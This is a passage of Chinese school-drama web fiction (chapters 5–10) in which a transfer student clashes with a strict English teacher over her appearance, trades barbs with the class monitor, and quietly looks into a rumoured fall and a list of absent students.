女孩们的游戏已经进行过一轮,茶几上散落着一堆样子各异的纸牌玩具、水晶球和五颜六色的漂亮石头。
纪之水穿着漆黑的小猫连体睡衣,手里捧着一副未拆封的塔罗牌。
纪之水自信道:“我不会受不了的。”
“金城那地方的和我们这儿的办学差异很大的。听说他们不能带手机上学,不能染头发,也不能穿自己的衣服,你去了那边,记得要注意一点。”
纪之水拆开了塑封包装,从纸盒里倒出纸牌,登时没听明白:“……什么叫不能穿自己的衣服?”
“字面意思。一年四季穿校服,不穿扣分、写检讨、请家长。”梅陆露冲纪之水露出一个怜悯的笑容,“我表妹也在金城念书来着。她们学校管的可严了,军.事化管理,堪称灭绝人性。”
千算万算,纪之水没算到在这里连她的头发和指甲会成为被攻击的一环。
她的头发没经过烫染,纯天然。只是冬天脖子太冷,放下刚好能挡风,她就没扎成一束。至于指甲……谁能想到学校还会管学生指甲的颜色啊!
转学还没过几天,纪之水就这样被叫了家长,创造了人生中没有任何意义的一条最快记录。
但又没完全叫。
班主任按照联系册上的电话号码拨打黎兴学的电话,起码打了三次,回回都是忙音。他甚至怀疑过纪之水给了假电话号码——但这是不可能的,几天之前他亲眼看着黎兴学填写入学表格,而纪之水一言不发,跟在她父亲身后,摆明了是个阴郁又不善言辞的小孩。
纪之水站在办公室,顶着一头乱发,面无表情的等待发落。
办公室里的老师划分成鲜明的两派,有人围绕着安慰哭泣不止的周英:“你也是好心嘛。”
也有人隔岸观火,远在包围圈外事不关己地批改着作业。飞舞在试卷上的红笔发出规律性的沙沙响动,卷子翻过一张,又一张。
“现在的学生真是一点都说不得!还和老师动起手来了!”
周英的声音透过那个小小的包围圈传过来,就差面对面控诉。纪之水面朝窗户,眼珠都没动一下。
班主任终于迟缓地意识到拨打电话是个无用功,随后作出了更加无用的决定。
他居然问纪之水:“纪之水,你父亲的电话怎么打不通?”
她难道会知道黎兴学在干什么么?难道她看起来和黎兴学很熟吗?
纪之水摇头。
班主任怀疑自己从眼前文弱乖巧的女生眼里看到了鄙视。这一定是个错觉,因为再一眨眼,纪之水还是那副安静又畏怯的样子,视线盯着地板,桌面,就是不敢看人。
“怎么会不知道呢……”班主任挠了挠肚皮。
办公室里被空调熏得温暖如春。班主任皱着眉毛,开始在抱着手机转圈。纪之水抬眼静静盯着他,感觉眼前的中年男人似乎快要在寒冬腊月急得出汗了。
家长的电话打不通也没有办法。周英还在抽噎,班主任从另一幢教学楼赶过来,一口气没歇过,此刻也是心累不已。
他只希望事情快些结束,正色问:“纪之水,你知道错了没有?”
纪之水还是摇头。
班主任严肃道:“你这孩子,怎么光摇头呢。说话!”
“我不知道。”纪之水说。
“知道就好。”他像是根本没听清纪之水说了什么,转变了一副口气,和蔼道,“老师也是为你好。看看周老师,都被你气成什么样了。去和英语老师道个歉吧。”
纪之水声音大了一点:“我不知道我错在哪里,老师。”
办公室里刹那一静。
连周英的控诉都被一双无形的手掐断了,一瞬间安静的可怕。
纪之水这才方知,无论是坐在办公室桌前批改作业的老师,还是围在周英旁边好言安慰的老师,他们看似将她隔绝在了一片无人在意的空间之中,实际上,每个人都在竖起耳朵偷听。办公室的窗户明净,会有学生定期来做值日,清晰地映照出在她身上转了一圈的诸多眼神。
周英的声音又续上了,对着同事们说:“你们看看,真是死不悔改!”
“你还嘴犟?周老师说错你什么了吗?”班主任也被她油盐不进的样子激出了几分火气,大声斥责,“看看你那头发、指甲!哪周开班会的时候我没强调过,女生要把头发扎起来,不能带首饰,不能做美甲!你说说你,把我的话——”
“上周开班会的时候,我还没有转过来。”纪之水平静地说。
班主任忽而哑了。
他的怒气分毫未散,甚至有愈演愈烈的趋势。
班主任还有教学会议要开,扔下
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一句“我之后再来找你”,匆匆忙忙当了甩手掌柜。周英不想看见她,让纪之水站在办公室门口“反省”。
英语组的办公室坐落在走廊的尽头,隔着楼梯口,旁边就是最近的班级。纪之水看着前门的标志牌:高三(6)班。
窗户里有学生朝教室外张望,好奇地看着她。
当纪之水看过去时,他们又欲盖弥彰挪开视线,忙碌地翻动书页、整理课桌。
走廊上学生来来回回,纪之水扫过一张张陌生的脸庞,忽而在其中看到了熟人。
隔着几十米,陈芊早就在办公室门口看见了那道身影。
她很瘦,很白,脱了羽绒服之后整个校服都塞不满,挂在身上的外套显得空荡荡的。纪之水像一片轻飘飘的纸片,贴着白瓷砖,脸上是很空白的神情。
刘瑞平说她刚和英语办公室的周英吵了架。
陈芊觉得很奇怪。虽然她和纪之水根本没说上过几句话,但心里却觉得对方不是会和人吵架的性格。
她收齐作业,急着在上课前交给老师批阅,也就没时间听匆匆忙忙跑回来的刘瑞平细讲。陈芊怀里抱着捧着一沓英语试卷,路过纪之水时脚步停了一下,办公室的门虚掩着。陈芊最终什么也没说,走了进去。
陈芊进门,作为乖学生得到的是截然不同的待遇。
7班的英语老师像往常一样,随手捞起办公桌上的零食塞进陈芊口袋里,接过试卷顺口问:“卷子收齐了吗?”
大概少了十来张,厚度摸着都要薄几分。
陈芊硬着头皮道:“齐了。”
老师也没说什么。
她亲切地问:“昨天晚上做起来怎么样呀?觉得难不难?”
“完形填空用的时间用的时间长一些,有几个空不太确定……”
办公室里看上去和往常没什么分别。陈芊分了心,另一条过道里三四个英语老师凑在一起聊天,手里捧着热气腾腾的茶杯。
其中有一个应该就是周英。
周英愤填膺地说着什么“臭美”、“打扮”、“反了天”,惹来一阵附和。陈芊正要细听,忽然被打断了思绪。
“陈芊?”英语老师又喊了她一声。
陈芊回过神来,靠着肌肉记忆回想起刚才的对话,道:“课前十分钟我会让他们先背今天的词汇……”
“好了,回去吧。”英语老师笑道,“你这孩子,今天怎么看上去心不在焉的。”
出了办公室,冷风扑面而来。
陈芊带上了办公室的门,将所有的暖意隔绝在背后。
纪之水还是站在墙边,没有和她搭话的意思。
……分明是这个怪人先说的“之后见”。可她现在站在这儿,纪之水却一句话也不说。
6. 第 6 章
如果这只是一种吸引她注意力的手段,那么陈芊不得不承认:纪之水真的做到了。她现在是真的有一点点,但绝对只是一点点在意她。
“喂。”陈芊站在了原地,开口问,“到底发生了什么?”
纪之水原本没打算说。
不过想到她和陈芊还是要再见的,纪之水也就不吝啬这么几句话的功夫了。
“英语老师因为我的头发和指甲骂了我。”纪之水言简意赅地说,“班主任让我道歉。我没肯,她就让我罚站。”
“指甲?”陈芊一愣。
纪之水伸出藏在袖子里手,给陈芊看她的指甲:“喏。就是这样。”
大冬天,纪之水的手背被冻得微微发青。她本人完全没有感觉似的,像是一点都不怕冷。
十个黑漆漆的指甲盖乍一伸出来还是有点冲击力的。陈芊没想通怎么会有人把指甲染成这个颜色——呃,不过纪之水这个人已经够怪了,染个指甲也很正常吧?
陈芊叹了口气。她解下脖子上的围巾,挂在纪之水身上,草草绕了两圈,熟练地裹住了纪之水的脖颈和脸颊。
纪之水埋在暖融融的羊绒里,没忍住蹭了蹭脸。
很暖和。
陈芊看到她自然而然的小动作,在心里偷偷惊奇了一番。原来她不是真的不怕冷,只是在强撑吧?
“又不是教务处的,仪容仪表的和她一个英语老师有什么关系。”陈芊抱怨了几句,很是看不惯。
但这话其实有些帮亲不帮理的意思。老师管学生,即使是在职责之外,总是有几分道理的。在纪之水和周英发生矛盾时,陈芊下意识将纪之水划进了“自己人”的行列。
大抵是因为纪之水虽然古怪,却并不惹人讨厌吧。
临近下节课,又只隔着一道没关严实的门,随时可能有老师走出来。陈芊也不知道自己哪来的胆量,居然就这么脱过口出。
话音刚落,纪之水没说什么,陈芊却顿了顿。脸上浮现出懊恼。
纪之水一脸平静。她似乎完全不需要安慰这种东西。
陈芊便也整理好心情,道:“你胆子真大。什么时候能回去?还是要等家长来?光站在这儿也不是个事吧。”
她现在是在干什么啊?陈芊在心里埋怨自己。分明今天早上才刚认识,她和纪之水一点关系也没有,现在却在办公室门口陪她闲聊吹冷风。
就像刘瑞平说的,纪之水是一个怪人。
她看来真的很怪。连同她往纪之水旁边一站,也受了感染,开始操用不着的心、管和她没关系的闲事。
纪之水耸了耸肩,无所谓地说:“我家没人接电话。”
言下之意是得一直站着了。
陈芊帮她整理围巾的手一顿。
看她的反应,纪之水估摸着她或许已经知道了些什么——这群高中生的消息传的还真快。
“快打铃了,你先回去吧。”估摸着时间差不多,纪之水开始赶人了。她是今天才知道这个学校的规矩有多严,不愧是传说中的“军.事化管理”,竟是一点也没夸张。
纪之水指了指围巾,又确定了一遍:“借给我了?”
陈芊下意识嗯了一声。
不然呢?放她一个人站在四面透风的走廊冻成冰雕,酿成金城高中的第二桩惨案?她撇了撇嘴。
“谢谢你。我明天洗了还你。”纪之水冲陈芊露出一个狡猾的笑,“那么,明天见啦。”
陈芊:“……”
有一种掉进陷阱的感觉。陈芊一面往回走一面想,又觉得自己做的每一件事好像都没受谁的骗,上当也上得莫名其妙的。
走到半路果真打了铃。陈芊一面抱怨纪之水乌鸦嘴,一面在走廊上跑了起来。万幸老师还没进教室,她冲进门,赶紧回到了座位上。
吴羽把课代表刚分发下来的卷子递给陈芊,随口问:“怎么这么晚?”
陈芊恍惚地说:“我遇到她了。”
“谁啊?”
陈芊往卷子上写学号,小声说:“就是那个,纪之水。”
“喂。”一道声音不请自来,“我又打听到了新消息。下课和你们讲。”
刘瑞平埋了个让所有人都抓心挠肺的伏笔。老师已经进班了,吴羽连绝望前的一句小声哀嚎都没机会喊出来,用心碎欲裂的眼神代替了声音。
说话说一半是会天打雷劈的!
·
上课铃还没响完,整个走廊彻底清空。
陈芊前脚刚走,后脚办公室的门开了一回又一回。
英语老师们从纪之水旁边路过时直视前方,就像根本没看见门口站着一个人。他们夹着教案,一个人或是和同事结伴而行。直到走出去数米,同行的人才会偏头和身边人说话。
很刻意又很拙劣的演技。
既然他们故意不看她,那就轮给了纪之水光明正大观察的机会。
周英和办公室里三位年轻老师关系最好,说话热络,俨然是一个小团体。有几位老师一整个课间都没和他们搭过腔,只做自己的事情,和小团体之外的人偶尔有交流,语气都是淡淡的。两派人
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奇异地做到了把共处一室的部分人当做空气。
短暂的几分钟透露着办公室微妙的人际关系。
而旁观今天这场能够为生活增添部分乐趣的小矛盾似乎也给老师们带来了一点小小的后果:他们快要迟到了。每个人的脚步都显得略快,还有人偏头小声和同伴说忘记了要上课。
周英这节课大概是空的。她既没有出办公室,也没搭理站在门口的纪之水。
纪之水觉得她是该做打算了。
是猜周英只是想晾一晾她,过后再叫她去听训,还是猜周英会全然将她抛在脑后?如果是后者,她肯定不会就在这儿傻站一节课。
她想知道,刘瑞平今天早上说的那件事,究竟是真是假。她还没去过艺术楼,或许实地看看能有新发现。
·
刘瑞平觉得纪之水嘴巴里就没有实话。
什么“家人工作变动”,她转学的理由根本站不住脚。他趁着课间在学校里打听了一通,躲在厕所用偷带的手机给朋友们发了消息询问,没过太久就收到了几个人的回应。
有人认识纪之水的父亲,黎兴学。
第一个响应的朋友声称,他的妹妹和纪之水同父异母的弟弟黎明达是同班同学,都在金城国际念初中。开家长会的时候,朋友代替父母去了妹妹班上,当时见过黎兴学一面。
[你说这不是巧了么?她报到的那天我刚好被老头乐抓了,搁教务处罚站。]
[那个女生管黎兴学叫爸,估计就是他女儿。]
[据我所知黎明达是金城本地人啊,他爸也是。我妹班级里统计过,外地来的就那么几个,名字我大概有印象,肯定不是黎明达。]
刘瑞平觉得朋友在瞎扯,第一时间抓住了其中的漏洞。
他回复道:[纪之水姓纪,你说的那父子俩姓黎,能是一家人吗?别是你耳朵不行听错了吧?]
[怎么可能?]
[我一听就知道你说的女生是她啊!黑长直,眼珠黑的吓人,脸很白,尖下巴,阴沉沉的,这么明显的个人特征一百个里面也就这么一个啊!]
那也有道理。可能家里生了俩小孩,一个随父姓一个随母姓,这也很常见。
朋友们肯定不会诓他。这么一看,刘瑞平觉得纪之水一定说谎了。
黎兴学既是金城本地人,也就不存在所谓的工作调动问题。况且黎明达都在金城这地方上了多少年学了,也不是第一天才出现,纪之水她甚至不愿意找一个没那么容易被拆穿的借口。
是有恃无恐吗?
7. 第 7 章
纪之水没能跑路。
顾天倾从楼梯口拐出来的时候,她还以为自己认错了人。
没想到在一个yesorno的选择面前,跳出来的居然会是or。比周英的善心大发先到的是才被她明嘲暗讽、写小纸条威胁离她远一点的顾天倾。
顾天倾逃课,比全班同学都是好人这件事听起来更不可思议。
在纪之水为数三天的短暂观察中,顾天倾是个非常独特的金城高中经典样本。他绝对是个符合金城高中生存法则的好学生,而好学生不会在上课时间在学校随意游荡。
纪之水看过公告栏上的成绩单。上回月考,顾天倾排在了第一,甩开第二名足足二十来分,是板上钉钉的清北预备役。顾天倾性格好,在学校里朋友无数,加上唯分数论的光环加成,老师也不会对这样的学生有恶感。
可能就像穆若婷说的那样,没人会对顾天倾生出恶感,除了她这个半路跳出来的异类。
顾天倾究竟知不知道恐吓纸条是她放的还尚未可知,纪之水先发制人:“你来做什么?”
“来落井下石啊。”顾天倾坦然地回答。
纪之水:“……”
这就是传说中的,真诚是必杀技吧。
离她大概还有一米半的位置,顾天倾停下了脚步。
他的校服外套拉到了最上面,手里抱着一件衣服,恰巧颜色很深,衬得他露在外面的手指更白。他常在外面跑动,冬天才生出几分懒散,却一点没被太阳晒黑。
顾天倾衣服穿的很板正,人却不显得呆板,只会让人觉得干净利落,是可以被服装厂老板直接拉去当校服模特的程度。
“你不会当真了吧?我只是开个玩笑。”顾天倾弯了弯唇,将怀里的衣服递给纪之水,“穆若婷让我带给你的。”
纪之水目光一顿,下意识仔细看去:他手里抓着的是她的外套。
金城高中虽然规矩严苛,但也不算亏待学生,纪之水来的这几天,A班的空调就没停过。
内外温差大,学校发的校服又不保暖,她也入乡随俗,在校服里叠穿棉袄,进了教室再脱。室外确实很冷,纪之水面对向她伸来的那双手,几乎没有犹豫。
本来就是她的衣服,穿一下怎么了!
纪之水一把夺过,裹紧了外套,翻脸不认人:“谢谢,你可以走了。”
她还急着去艺术楼一趟。
“我走什么?”顾天倾哼了一声,刚抬脚走了一步,就被纪之水的眼神喝退。
她那么凶恶地看着他干什么。顾天倾心里一阵好笑,却没故意使坏靠近。先是退了半步,才在纪之水稍显满意的表情中同她说话。
“麻烦您高抬贵脚,”顾天倾指指办公室的门,像是生怕纪之水激动之下扯下围巾勒他脖子,老实道,“我要进办公室。”
纪之水往没风的那一面挪了挪,让开了位置:“噢。”
顾天倾正要敲门,又回过头,用纠结的眼神看着她。纪之水不耐烦了,她让了一次不代表顾天倾可以借此蹬鼻子上脸,语气很差地问:“还有什么事?”
“你别乱跑,我两分钟就出来。”顾天倾嘱咐道。
……实话实说,被看穿的感觉,很糟糕。
纪之水不吭声,在顾天倾的注视下不情不愿地点了点头。人在屋檐下,只能暂时屈服。
顾天倾象征性地敲了敲门,门后没有任何动静,他表情不变,拧开门把手走了进去。纪之水目送顾天倾走进去,本想拔腿就跑,纠结了两下,叹着气靠在了墙边。
周英听到了敲门声,只是没高兴理会。英语课代表在课间收来了默写本,她忙着批阅,往手边的名单上勾画。
才在门口站了十分钟不到,就这么沉不住气。周英在心底冷笑一声。
原以为那个女生是来道歉的,谁料一抬头,来的却是A班的班长。
她客气地问:“顾同学,有什么事吗?”
“周老师,我来找纪同学。您这边还有事要留她吗?褚老师看班里的人少了一个,不太放心,让我出来找找。”顾天倾怕纪之水又一下没抓住就开溜了,语速略快地说,“如果您这边的事结束了,我就先带纪同学回去了。”
周英脸色僵硬。顾天倾和普通学生不太一样,她不好多说什么,绷着脸说:“没什么事了。”
顾天倾说两分钟,实际上从进去到出门也就过了一分钟不到。
他站在纪之水面前,表情有些得意:“我没骗你吧,只要两分钟。”
这有什么可骄傲的。
纪之水搞不懂他们高中生的脑回路。不过她来到这个学校之后,搞不懂的东西多了去了,没好气地说:“我又没戴表,我怎么知道过了多久。”
“好在,我戴了。”顾天倾撸起袖子,向纪之水展示手腕表盘上的倒计时,本来还算得上帅气的脸蛋上只剩下得逞过后一片鲜明的幼稚。
“事情解决了,先回班吧。”
纪之水反正是不高兴站
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在办公室门口吹风了。顾天倾这么说,她乐得自在,裹了裹身上的棉服就往前走。
“什么算是‘解决’了?”
解决到哪种地步?
是他靠着三言两语就让原本对她心怀不满的老师意识到她作为一名学生的优秀品质其实如金子一般可贵,还是周英愿意对她网开一面了?看顾天倾的样子,纪之水估计二者都不是。
“严谨一点来说,是‘暂时解决’了。至少你现在不用在这当门神。”
顾天倾的声音是从后面传来的。
纪之水发觉他没跟上来,转过头纳闷地问:“我不当,你接任了?”
“不是你说的吗,让我离你远一点。”顾天倾无辜地说,“我这是在践行你对我的要求。”
“……”神经。
·
这件事说到底没彻底解决。
只要周英看她不顺眼,有的是办法随时找她的麻烦,今天很有可能只是个开端。
纪之水咧嘴笑了一下,这样也好。说不定她就这么合情合理地成了办公室常客。今天在门口罚站,明天说不定就在室内罚站了,这也是一种进步。
她看英语组的办公室氛围,觉得还挺有意思的。
第一节课下课,周英没找她。班主任也像是把她忘在了脑后。纪之水便心安理得地歇在了温暖如春的教室,接受着来自四面八方的女孩们的安慰和投喂。
转学生躲过了热情的班长牵来的友情红线,没躲过一群心地善良的女生自发的靠近。
“这种感觉其实挺好的吧?”阴魂不散的家伙又出现在了她的旁边,泰然自若地占据了过道一侧去接水的男同学的座位,对纪之水说,“其实一开始大家都很想和你做朋友,只是看出来你有点害羞,所以想循序渐进。”
纪之水感觉自己生病了。她得了看到顾天倾那张脸就要冷笑的病,“害羞?”
“别不好意思嘛。”
“你刚才还说要尊重我的意见,离我远点。”纪之水旧事重提。
顾天倾却一脸理直气壮。他伸出手,在过道之间比划了一下,“这是班级里能够产生的最远距离。再远一点就坐不开了。”
“你真的不是故意的吗?”
“故意什么?”
“知道我讨厌你所以故意往我身边凑。”纪之水从来没有把话说得这么直白过。
顾天倾非常惊讶:“什么!纪同学你讨厌我?”
他好像第一天才知道。
8. 第 8 章
纪之水后悔了。
她不该说出这种话。
现在顾天倾有了更好的跑到她面前给她添堵的理由。
他倒也没做什么,甚至践行了之前的承诺,不会特意在她面前刷存在感。
但一个班级就只有这么大点的地方。哪怕纪之水是走读生,捱到下午五点就能有合理离开学校的理由,却还是和顾天倾抬头不见低头见。顾天倾的座位就在纪之水正后方两排。无论是出教室门、打水,他们共用一条走道,躲都躲不开。
只要碰巧遇见,顾天倾就会恶劣的,用一种浮夸的语气故作愚蠢的问她:“纪同学,我能知道你为什么讨厌我吗?如果哪里惹你不开心,我可以改的。”
那副漂亮和煦的面孔愈发趋近于一张不加掩饰的面具。如果非要描述,纪之水只能如是比喻:顾天倾就像是从一块阳光难以企及的墙角长出来的生物,冰冷、潮湿,却以冷然的目光窥探墙角外普照的阳光,并试图进行拙劣的模仿。
很多人被他骗过,甚至发自内心地给顾天倾贴上了“阳光开朗”的标签。
他的拙劣演技再多爆发几遍,全班都将猜到那张所谓的“恐吓信”是她写给顾天倾的。至少目睹顾天倾浮夸表演次数最多的穆若婷已经开始用奇怪的眼神看他们俩了。
本来那张纸条上也没写什么。
纪之水起初只是烦透了顾天倾老是打着帮她融入班级的旗号做些没头没尾的事,就在纸条上写,顾天倾笑起来很假很恶心,让他最好少笑,以及少管闲事。但不知为什么传着传着,事情的走向逐渐开始偏移,发展到现在所有人都觉得顾天倾收到了一封措辞恐怖的恐吓信。
她连带着开始看那个总是和顾天倾一起玩的赵藏锋不顺眼。
纪之水愤愤表示这其中一定出了问题,她写的最多只能算是“建议信”!
毕竟她说的是顾天倾你笑起来很恶心能不能不笑,又不是顾天倾你笑的很恶心如果再笑我将撕了你的嘴!
好在,纪之水本身就有更感兴趣的事情要做。加上不想欣赏顾天倾比一日三餐还准时准点的打扰,以及被穆若婷以奇怪的眼神洗礼,每每下课铃一响,纪之水就以迅雷不及掩耳之势第一个跑出了教室。
穆若婷目瞪口呆,转念一想又很是羡慕:“完全是八百米健将预备役啊!”
艺术楼前的空地很干净。
以刘瑞平的说法,如果真的有一个人在不久前在此地坠楼,那么眼前这片土地,实在是干净的太过头了。
有人坠楼后的地面,血迹通常呈放射状或喷溅状,而坠楼者所携带的随身物品也有可能因为撞击碎裂,散落各地。如果坠落的高度够高,地面的清理是一件很麻烦的事情,通常要持续好几个小时甚至更久。
纪之水去的时候,白天的地面完全看不出血液浸泡后的痕迹。
教学楼本身建得不高,或许也有害怕学生意外坠楼的考量。姑且假定坠楼者坠楼高度低,伤势不重,加上学校第一时间封锁了消息,地面很快被清理干净吧。
纪之水又查看了附近的绿化带,以及各种容易被忽视的边边角角——
什么也没有。她只看到了没有素质的学生扔在草丛里没来得及被保洁捡走的饮料瓶。除此之外,没有任何不应该出现在这里的东西。
纪之水不禁开始怀疑:刘瑞平是不是真的看错了?
一个偌大的高中在周日发生坠楼事件而周边没有传出任何消息,这件事本身就是反逻辑的。更何况金城高中虽然是寄宿制,所有班级的走读生加起来也不是一个可以忽略不计的数目,怎么可能将一个爆炸性的消息封锁的密不透风?
理智层面上,纪之水从一开始听到这个消息就觉得它为真的可能性不高。但在拿到证据前宁可错杀不可放过,万一这世界上真有这么离奇的事情发生了,她也好做个准备。
白天看不出来的东西,晚上说不定会不一样。纪之水决定晚上再来看看。
忙了小半天无功而返。纪之水瘫倒在桌面,开始熬时间等放学。
过道旁的座位再次被人占据,纪之水闭着眼睛,在对方开口之前说:“停。”
顾天倾支着下巴,看着一整个白天出去了好几趟就莫名蔫巴了的转校生好奇地问:“你怎么知道是我?”
纪之水睁开眼睛,果不其然是那张脸,“你好烦。”
好在只剩下最后一节课,她今天就再也不用见到顾天倾了。纪之水如是自我安慰。
让好学生留下上晚自习上到十点钟去吧。她今天要在十点钟之前入睡,养成良好的作息。纪之水暗暗发誓。
英语课代表站在了讲台上:“周老师让今天默写没过的人去她办公室重默完了再去吃晚饭!”
通知完,教室各个角落响起了零零散散的哀嚎。能不能过关,大家心里都很有数,少吃一顿晚饭对每天又困又饿的高中生来说无疑
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是个巨大的打击。
顾天倾不肯闭嘴,仍旧没话找话:“纪同学,你猜那叠默写本里有没有你的本子?”
多嘴。果然还是没把她的“恐吓”听进去,当成了耳旁风。纪之水瞥了顾天倾一眼。
但他这么一说——一阵灵光忽然击中了纪之水,她眼前一亮:“肯定有!”
语气竟然带着雀跃。
周身的疲惫刹那间一扫而空。纪之水精力满满地站了起来,去放在讲台上的那群本子里挑挑拣拣。
周英果然没有放过她!
纪之水心情愉悦地带着默写本回来了。
周英要求他们一个早读背下三十页词汇,从里面挑选三十个单词默写,错到五个即为不合格。纪之水前几天都不出意料地擦边过关,这还是第一回喜提办公室重默。耳濡目染之下,她其实很清楚这一套流程。
纪之水翻开了默写本,一共错了六个单词,但有几个叉打得很牵强。周英圈出了几个单词,在空白的地方写下:“i&l”,并一个鲜红、巨大的问号。
顾天倾居然还没走,也自来熟地凑过来看。他只看到一个被数字圈起来的6,纪之水就把本子合上了,还顺带瞪了他一眼。
“错了六个?其实也不错了,你早上都没怎么背书,看来英语基础很不错。”顾天倾虚伪地夸赞道。
纪之水一点没被拍到马屁,听完后甚至大为光火:“你监视我?!”
“苍天可鉴,绝对没有。”顾天倾举手发誓,“你不是第一节早读还在别的班玩么?我这是合情合理的推断啊。”
谁玩了?纪之水没高兴理他。
整个早读并没有严格划分成几个科目。周英每次安排的背诵任务时间紧任务重,势必会挤占掉很大一部分时间,对于英语短板的学生而言甚至要献祭掉整个早读才能勉强过及格线。平行班的要求倒是没这么变态,只有偏科进A班的学生日日背英语如上坟,堪称生不如死。
在请教了英语课代表之后,纪之水单独为之后可以预见的频繁重默生活开辟了一本专门的重默本。
毕竟没有了i和l这对长相相似的孪生兄弟,还有j和i,m和n。
亲眼看过纪之水的默写本,穆若婷一脸同情:“她这完全是鸡蛋里挑骨头。”
“没关系。”纪之水说,“就当每天再复习巩固一遍。我是走读生,又不会没饭吃。”
这未必不是一件好事。
9. 第 9 章
最后一节课的下课铃一响,冲向门外的队伍分成了两波。一堆人冲向文科老师的办公室准备重默,另一波则以最快的速度逃离教学楼。
整个晚饭时间只有一个小时。五点下课,六点进班晚自习。时间看似宽裕,实则住宿生的吃饭、洗头洗澡、打水等等所有杂事几乎全都浓缩在这短短的一个小时里,加上往返赶路,每个人都得作出抉择。
纪之水先去找了班主任。
李老师刚巧被她堵在了办公室门口,看到她不禁一愣。他这才想起白天的那场风波,面对纪之水,一时间竟有些沉默。
也不知道对方想到了什么,纪之水觉得他脸上的表情愈发倾向于……尴尬。很奇怪的情绪。办公室里没有其他人,李茂却表现得像是她撞破了什么秘密似的。
不过,纪之水不在乎。
现在有更有趣的事情。
纪之水面色如常:“李老师,我来拿请假条。”
“噢噢。这件事。”班主任折身回办公桌,放下手里的东西,故作自然地清了清嗓子,“你先进来吧。”
他拉开抽屉,掏出一沓用皮筋捆得整整齐齐的纸质条子。
请假条是用一种发黄的米色纸打印的。一张纸印了好几张条子,发下来需要班主任自己剪裁。纸张质量不好,撕扯后会有毛边。他习惯于先准备一些剪裁过的、盖了印章的半成品。
李茂将裁剪后捆好的请假条拆开,一连签了数张。黑色水笔过于丰沛的墨迹在劣质纸张上晕染渗透,像是忍受不了一个普通女生没什么情绪的旁观,水笔断墨了。
李茂年近五十。他从刚毕业开始就投身于教学事业,从未觉得疲累。从业二十来年,李茂有过很多学生,很多人说过他是个好老师。每年教师节,都会有往届的孩子回来看他,站在教室门口向他招手,李茂也会回以骄傲又欣慰的笑容。
很偶尔的时刻,他却也会像这只分明还墨水充盈的水笔一样,明明还有工作的能力,但心里无来由地想罢一下工。
他将断墨的水笔搁在一旁,从笔架上抽出一支新笔。请假条终于得以顺利写下去。
或许是人尴尬的时候总会显得话很多。李茂一遍写一边说:“你这个走读证呢估计还要一段时间才能下来,但是门卫那边又很死板,不见到请假条和出门证不肯放人。我最近不一定经常在办公室,今天也是凑巧赶上,就给你多签几张,要是不够了,你之后大课间可以再来找我……”
纪之水说:“好。”
漫长的一大段话得到一个字的回音。李茂噎了噎,像是被浇了一盆冷水,剩下的话也没有兴致往下说了。
批评,白天都已经各打五十大板。安慰,这个年纪的小孩又不一定会领情。还能怎么说呢?
最后,没有人提起白天的事情。
李茂想起家里的儿子,因为和同学发生口角大打出手,将别人家的孩子打进了医院。两个孩子的事情,无非是你骂我、我打你,双方动起手来,可对于成年人,这事情就要复杂许多……
他将一沓纸条递给纪之水。纪之水接过,礼貌地道了声谢,和每个走进他办公室请他签字的孩子没有什么分别。
或许她是个不讨喜的孩子。但李茂心知,纪之水也确实没什么错处。至少比起年纪里赫赫有名的混世魔王,和他那一帮让同学老师深受其苦的“好兄弟”,那点性格上的小问题完全可以忽略不计。
然而,然而。
他是真的没有功夫管了。
.
英语办公室里站了满满当当的一排人。
原本用来摆放作业本的空桌上被学生占据,纪之水见缝插针,顺势挤进一个空位。
两个老师在办公室里来回走动,偶尔停下脚步,靠在办公桌边做沉思状——今天轮到他们留下执勤。这个点还没吃上晚饭,全都是拜这群连默写都没法过关的学生所赐,两个人都有些意兴阑珊,一副想走又走不掉的表情。
好消息是周英没在办公室。纪之水猜她大概是一到点就开开心心去吃饭了。
纪之水很高兴周英没亏待自己,不然要是周英为了她牺牲自己宝贵的晚餐时间,纪之水还真会觉得不太好意思。
每个班的默写内容和进度都不一样,重默模板也不通用,东一张西一张地散落在空桌上。
纪之水很快翻到了周英用红笔写下的重默内容范例,随手放在一边。她的目光落在重默纸旁的名单上,眼前一亮。
A班名单上一共五十一个人。
纪之水是凭空多出来的那一个,名字是草草用黑色水笔写上去的,排列在名单最末端。表格电子档上刚刚添加上她的名字,周英这张名单估计是之前的存货,还是原始版本,凑合着在用。
身边的人来来去去,写完了就收笔找老师批阅。纪之水
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由此见识了五花八门的作弊方式:不限于将单词记在手上、夹带纸条,以及团伙作案,一时间目瞪口呆。
重默的学生一抬头就看见了少见的新面孔,怜悯地看了纪之水一眼。心道估计是哪个班的中等生或者优等生马失前蹄了。
和他们比起来她确实像个新兵蛋子,只知道鬼鬼祟祟地瞥身后的老师,进展却一点儿也没有。
同是天涯沦落人的感慨占据了高地,在同一个时间点出现在这间办公室就意味着大家都失去了一天中最宝贵的一个小时。有人善良地伸出了援手,过关后折返回来,找到了莫名变幻了个方位的纪之水。
她刚才不是站在窗户边上么?
这样的疑惑只是一瞬,那人在纪之水面前停下脚步,轻咳两声。纪之水略略缩手,从黑压压的刘海之后略略抬眼,投去谨慎的一瞥。
她不语,登对方先开口。
“你是新来的吧?今天负责管重默的老师抓的不严,经常睁一只眼闭一只眼。你要是没人帮忙可以来默第二次,夹个小纸条就是了,不会有人查的。”说完也怕引起老师的注意,在自己班的表格上打了个圈,扔给纪之水一个眼神就跑去吃饭了。
纪之水连反应的功夫都没有。对方赶时间,话一说完人就瞧不见人影了。
不由地沉默了一下。
将小插曲抛在脑后,她故技重施,在一群人乌泱泱去找老师批阅时跟随人群走动,转换到了另一个空位。
1班的名单……2班……3班……
她很快找到了自己想要的东西。
5班1人,6班2人,11班1人,13班1人,一共五个人缺勤超过一周时间,名单上既不是代表过关的?,也没有打上重默标记,而是由一条意味不明的斜杠占据了名字后的所有空格。显然,那应当是缺勤的意思。
纪之水在倒数第二张纸上记录了所有人的班级和姓名,撕下那页纸囫囵塞进校服口袋,心情愉悦起来。
查完所有名单,她用三分钟时间完成了重默,待老师批阅过关后折返回来,也学着那个提醒她的学生在自己名字后的那一行表格里画了个圈,将本子放在高三A班那一沓。
这下是彻底放学了。
走出教学楼,夕阳西沉,整片天空都被烧得通红。纪之水将一张请假条交给门卫,对方撕下了请假条的第二联塞进抽屉里,将纸条递还给她。
10. 第 10 章
没人看班的晚自习显然是做小动作的好时机。无数纸团在教室低空飞行,高三(7)班或成整个学校最为忙碌的飞行交通枢纽。
刘瑞平一整个白天都在为一件事奔波,那就是纪之水究竟是谁。
他自认为自己已经通过一整个白天的努力成了整个金城高中最了解纪之水的人。而现在,就到了向朋友们汇报成果的时刻。
